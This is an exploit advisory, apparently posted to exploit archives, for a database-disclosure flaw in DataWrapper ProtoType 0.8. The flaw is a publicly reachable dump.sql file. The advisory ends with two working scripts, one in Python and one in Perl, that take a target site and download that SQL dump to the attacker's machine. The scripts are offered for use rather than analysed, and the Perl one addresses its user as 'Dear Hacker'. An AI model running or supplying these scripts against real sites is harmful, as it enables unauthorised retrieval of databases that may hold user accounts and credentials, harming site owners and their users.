########################################################################### # Exploit Title : DataWrapper ProtoType 0.8 Database Disclosure Exploit # Author [ Discovered By ] : KingSkrupellos # Team : Cyberizm Digital Security Army # Date : 02/04/2019 # Vendor Homepage : datawrapper.de # Software Download Link : github.com/datawrapper/datawrapper-prototype/archive/master.zip # Software Information Link : github.com/datawrapper/datawrapper-prototype # Software Version : 0.8 and 0.8.1 # Tested On : Windows and Linux # Category : WebApps # Exploit Risk : Medium # Vulnerability Type : CWE-200 [ Information Exposure ] CWE-538 [ File and Directory Information Exposure ] # PacketStormSecurity : packetstormsecurity.com/files/authors/13968 # CXSecurity : cxsecurity.com/author/KingSkrupellos/1/ # Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos # Acunetix Information Link about => phpMyAdmin SQL dump Web Vulnerability acunetix.com/vulnerabilities/web/phpmyadmin-sql-dump/ ########################################################################### # Description about Software : *************************** Datawrapper is a tool that enables to create enticing visualizations in seconds, without any programming skills. It draws inspiration from ManyEyes and GoogleCharts but remains entirely open-source and independent from a third-party server. Any developper can add a visualization type, using (or not) a JavaScript library like D3 or Raphael, and a specific theme. ########################################################################### # Impact : *********** * The product stores sensitive information in files or directories that are accessible to actors outside of the intended control sphere. * An information exposure is the intentional or unintentional disclosure of information to an actor that is not explicitly authorized to have access to that information. * phpMyAdmin is a free software tool written in PHP, intended to handle the administration of MySQL over the World Wide Web. It can be used to dump a database or a collection of databases for backup or transfer to another SQL server (not necessarily a MySQL server). The dump typically contains SQL statements to create the table, populate it, or both. This file contains an phpMyAdmin SQL dump. This information is highly sensitive and should not be found on a production system. Installation : *********** To install Datawrapper on your server, download all files from GitHub or do a 'git pull'. Create the appropriate tables in your database using the .sql dump. Then create a file with your database passwords to be stored in /actions/passwords.prod.php under the form //DB credentials define("DW_HOST", "your_db_hostname"); define("DW_DATABASE", "your_db_name"); define("DW_USERNAME", "your_db_username"); define("DW_PASSWORD", "your_db_password"); //To be used in Amazon Simple Email Service //If none is defined, the server uses PHP mail() function instead define("AWS_SECRET", "your_aws_secret"); define("AWS_ACCESS_KEY", "your_aws_key"); //gets the base URL to use in the app define("BASE_DIR", "your_app_URL"); //Piwik analytics define("PIWIK_PATH", "path_to_your_piwik_server"); ########################################################################### File : ***** /datawrapper-prototype/dump.sql /dump.sql Information : ************ -- phpMyAdmin SQL Dump -- version 3.4.5 -- phpmyadmin.net -- -- Client: localhost -- Version du serveur: 5.1.36 -- Version de PHP: 5.3.0 Base de données: `datastory` -- Structure de la table `charts` -- Structure de la table `users` ########################################################################### # Database Disclosure Information Exposure Exploit 1 : *********************************************** #!/usr/bin/python import string import re from urllib2 import Request, urlopen disc = "/dump.sql" url = raw_input ("URL: ") req = Request(url+disc) rta = urlopen(req) print "Result" html = rta.read() rdo = str(re.findall("resources.*=*", html)) print rdo exit ########################################################################### # Database Disclosure Information Exposure Exploit 2 : *********************************************** #!/usr/bin/perl -w # Author : KingSkrupellos # Team : Cyberizm Digital Security Army use LWP::Simple; use LWP::UserAgent; system('cls'); system('DataWrapper ProtoType 0.8 Database Disclosure Exploit'); system('color a'); if(@ARGV < 2) { print "[-]How To Use\n\n"; &help; exit(); } sub help() { print "[+] usage1 : perl $0 site.com /path/ \n"; print "[+] usage2 : perl $0 localhost / \n"; } ($TargetIP, $path, $File,) = @ARGV; $File="dump.sql"; my $url = "http://" . $TargetIP . $path . $File; print "\n Wait Please Dear Hacker!!! \n\n"; my $useragent = LWP::UserAgent->new(); my $request = $useragent->get($url,":content_file" => "D:/dump.sql"); if ($request->is_success) { print "[+] $url Exploited!\n\n"; print "[+] Database saved to D:/dump.sql\n"; exit(); } else { print "[!] Exploiting $url Failed !\n[!] ".$request->status_line."\n"; exit(); } ########################################################################### # Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team ###########################################################################